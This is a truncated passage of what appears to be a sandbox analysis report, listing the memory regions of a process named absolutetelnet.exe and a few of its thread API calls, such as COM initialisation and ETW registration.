mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7517 start_va = 0x7fefd9f0000 end_va = 0x7fefda5bfff monitored = 0 entry_point = 0x7fefd9f2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7548 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7549 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7550 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7551 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7552 start_va = 0xb0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7553 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 7554 start_va = 0x350000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 7659 start_va = 0x3d0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 7722 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7723 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7724 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7725 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7726 start_va = 0x500000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7727 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 7748 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7749 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7860 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7861 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7862 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7863 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7864 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7865 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7866 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 7867 start_va = 0x6c0000 end_va = 0x847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 7868 start_va = 0xb0000 end_va = 0xd8fff monitored = 0 entry_point = 0xb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7869 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7870 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7871 start_va = 0xa90000 end_va = 0xc10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 7872 start_va = 0xc20000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 7873 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7874 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7875 start_va = 0x850000 end_va = 0x91ffff monitored = 1 entry_point = 0x91d67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 8196 start_va = 0x850000 end_va = 0x91ffff monitored = 1 entry_point = 0x91d67e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe") Region: id = 8197 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8229 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8230 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8231 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8232 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8233 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8271 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8277 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8284 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8290 start_va = 0x7fe949e0000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8296 start_va = 0x7fe949f0000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8311 start_va = 0x7fe94a00000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8312 start_va = 0x7fe94a90000 end_va = 0x7fe94afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8313 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8314 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 8334 start_va = 0x3d0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 8335 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 8336 start_va = 0x2020000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 8346 start_va = 0x2200000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002200000" filename = "" Region: id = 8347 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8359 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8360 start_va = 0x2300000 end_va = 0x1a2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 8361 start_va = 0x1a300000 end_va = 0x1a67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a300000" filename = "" Region: id = 8362 start_va = 0x850000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 8384 start_va = 0x1a7e0000 end_va = 0x1a8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 8385 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8390 start_va = 0x1a8f0000 end_va = 0x1a9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a8f0000" filename = "" Region: id = 8391 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8399 start_va = 0x2020000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 8400 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 8436 start_va = 0x1a9f0000 end_va = 0x1acbefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8662 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8691 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8692 start_va = 0x500000 end_va = 0x57cfff monitored = 0 entry_point = 0x50cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8693 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 8694 start_va = 0x500000 end_va = 0x57cfff monitored = 0 entry_point = 0x50cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8695 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8750 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8751 start_va = 0x500000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 8752 start_va = 0x1a680000 end_va = 0x1a75efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001a680000" filename = "" Region: id = 8795 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8796 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8828 start_va = 0x7fe94b00000 end_va = 0x7fe94b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b00000" filename = "" Region: id = 8846 start_va = 0x7fe94b80000 end_va = 0x7fe94b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b80000" filename = "" Region: id = 8847 start_va = 0x7fe94b90000 end_va = 0x7fe94b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b90000" filename = "" Region: id = 8872 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8900 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8901 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8950 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8951 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8952 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8953 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8954 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 8992 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9006 start_va = 0x1a760000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 9020 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9045 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9046 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9047 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9094 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9095 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9113 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9128 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9139 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9152 start_va = 0x1acc0000 end_va = 0x1ad21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9173 start_va = 0x1ae10000 end_va = 0x1ae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae10000" filename = "" Region: id = 9174 start_va = 0x1aeb0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aeb0000" filename = "" Region: id = 9175 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9176 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9242 start_va = 0x1b070000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 9243 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9244 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9245 start_va = 0x960000 end_va = 0x9a4fff monitored = 0 entry_point = 0x961064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9349 start_va = 0x960000 end_va = 0x9a4fff monitored = 0 entry_point = 0x961064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9350 start_va = 0x960000 end_va = 0x9a4fff monitored = 0 entry_point = 0x961064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9351 start_va = 0x960000 end_va = 0x9a4fff monitored = 0 entry_point = 0x961064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9352 start_va = 0x960000 end_va = 0x9a4fff monitored = 0 entry_point = 0x961064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9353 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9354 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9449 start_va = 0x1b1c0000 end_va = 0x1b2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1c0000" filename = "" Region: id = 9468 start_va = 0x1ad70000 end_va = 0x1ae6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad70000" filename = "" Region: id = 9469 start_va = 0x1afd0000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afd0000" filename = "" Region: id = 9470 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9471 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9475 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9496 start_va = 0x1b4a0000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 9497 start_va = 0x1b690000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 9498 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9499 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9507 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9524 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9540 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9549 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9566 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9597 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9598 start_va = 0x1b790000 end_va = 0x1ba61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9599 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9600 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9601 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 9602 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 9603 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 9604 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9605 start_va = 0x530000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9692 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 9693 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 9694 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 9695 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 9696 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 9697 start_va = 0x990000 end_va = 0x99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 9698 start_va = 0x9a0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Thread: id = 386 os_tid = 0x5e0 [0262.698] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.063] EtwEventRegister (in: ProviderId=0x23058c0, EnableCallback=0x1a76135c, CallbackContext=0x0, RegHandle=0x23058a0 | out: RegHandle=0x23058a0) returned 0x0 [0277.184] EtwEventRegister (in: ProviderId=0x230a048, EnableCallback=0x1a7613ac, CallbackContext=0x0, RegHandle=0x230a028 | out: RegHandle=0x230a028) returned 0x0 [0278.615] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x394190*=0xd8, lpdwindex=0x24e084 | out: lpdwindex=0x24e084) returned 0x0 [0280.988] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x394190*=0xd8, lpdwindex=0x24e084) Thread: id = 429 os_tid = 0x6c4 Thread: id = 436 os_tid = 0x4cc [0263.658] CoGetContextToken (in: pToken=0x1a8df540 | out: pToken=0x1a8df540) returned 0x800401f0 [0263.658] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 442 os_tid = 0x300 Thread: id = 472 os_tid = 0x870 [0278.188] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.189] CoGetContextToken (in: 